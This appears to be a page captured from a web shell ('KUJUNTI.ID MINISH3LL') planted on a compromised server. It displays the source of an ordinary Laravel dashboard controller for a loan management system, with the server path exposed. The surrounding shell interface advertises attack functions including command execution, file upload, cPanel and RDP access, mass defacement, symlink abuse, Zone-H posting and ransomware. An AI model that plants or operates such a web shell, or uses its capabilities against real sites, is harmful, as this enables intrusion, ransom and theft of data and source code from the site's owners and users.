KUJUNTI.ID MINISH3LL
Path : /var/www/html/usd_loan_system/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/usd_loan_system/app/Http/Controllers/DashboardController.php


<?php

namespace App\Http\Controllers;


use App\Http\Controllers\CronController;
use App\Models\Loan;


class DashboardController extends Controller
{
    public function index()
    {
        // $cron = new CronController();
        // $cron->index();
        $date = date("Y-m-d");
        $monthly_actual_expected_data = [];

        $monthly_disbursed_loans_data = [];

        $loop_date = date_format(date_sub(date_create($date), date_interval_create_from_date_string('1 years')), 'Y-m-d');
        for ($i = 1; $i < 14; $i++) {
            $d = explode('-', $loop_date);
            $actual = 0;
            $expected = 0;
            $principal = 0;

            $actual = $actual + \App\Models\LoanTransaction::query()
                    ->where('transaction_type',
                        'repayment')
                    ->where('reversed', 0)
                    ->where('year', $d[0])
                    ->where('month', $d[1])
                    ->where('branch_id', session('branch_id'))
                    ->sum('credit');


            $expected_loans = \App\Models\Loan::query()
                ->select("loan_schedules.principal", "loan_schedules.interest", "loan_schedules.penalty", "loan_schedules.fees")
                ->where('loans.branch_id', session('branch_id'))
                ->whereIn('loans.status', ['disbursed', 'closed', 'written_off'])
                ->join('loan_schedules', 'loans.id', '=', 'loan_schedules.loan_id')
                ->where('loan_schedules.deleted_at', NULL)
                ->where('loan_schedules.year', $d[0])
                ->where('loan_schedules.month', $d[1])
                ->get();

            foreach ($expected_loans as $key) {
                $expected = $expected + $key->interest + $key->penalty + $key->fees + $key->principal;
                $principal = $principal + $key->principal;
            }

            $monthly_actual_expected_data[] = array(
                'month' => date_format(date_create($loop_date),
                    'M' . ' ' . $d[0]),
                'actual' => $actual,
                'expected' => $expected
            );

            $monthly_disbursed_loans_data[] = array(
                'month' => date_format(date_create($loop_date),
                    'M' . ' ' . $d[0]),
                'value' => $principal,
            );

            //add 1 month to start date
            $loop_date = date_format(date_add(date_create($loop_date),
                date_interval_create_from_date_string('1 months')),
                'Y-m-d');
        }

        $loan_status = get_loan_status_count();
        //daily users
        $loan_statuses = [
            [
                'label' => translate('pending'),
                'value' => $loan_status->pending,
                'color' => "#FF8A65",
                'highlight' => "#FF8A65",
                'link' => url('loan/data?status=pending'),
                'class' => "warning-300",
            ],
            [
                'label' => translate('approved'),
                'value' => $loan_status->approved,
                'color' => "#64B5F6",
                'highlight' => "#64B5F6",
                'link' => url('loan/data?status=approved'),
                'class' => "primary-300",
            ],
            [
                'label' => translate('disbursed'),
                'value' => $loan_status->disbursed,
                'color' => "#1565C0",
                'highlight' => "#1565C0",
                'link' => url('loan/data?status=disbursed'),
                'class' => "primary-800",
            ],
            [
                'label' => translate('rescheduled'),
                'value' => $loan_status->rescheduled,
                'color' => "#00ACC1",
                'highlight' => "#00ACC1",
                'link' => url('loan/data?status=rescheduled'),
                'class' => "info-600",
            ],
            [
                'label' => translate('written_off'),
                'value' => $loan_status->written_off,
                'color' => "#D32F2F",
                'highlight' => "#D32F2F",
                'link' => url('loan/data?status=written_off'),
                'class' => "danger-700",
            ],
            [
                'label' => translate('declined'),
                'value' => $loan_status->declined,
                'color' => "#EF5350",
                'highlight' => "#EF5350",
                'link' => url('loan/data?status=declined'),
                'class' => "danger-400",
            ],
            [
                'label' => translate('closed'),
                'value' => $loan_status->closed,
                'color' => "#66BB6A",
                'highlight' => "#66BB6A",
                'link' => url('loan/data?status=closed'),
                'class' => "success-400",
            ]
        ];


        $monthly_actual_expected_data = json_encode($monthly_actual_expected_data);
        $monthly_disbursed_loans_data = json_encode($monthly_disbursed_loans_data);


        $loan_statuses = json_encode($loan_statuses);

        return view('dashboard', compact('monthly_actual_expected_data', 'monthly_disbursed_loans_data', 'loan_statuses'));
    }

}

© KUJUNTI.ID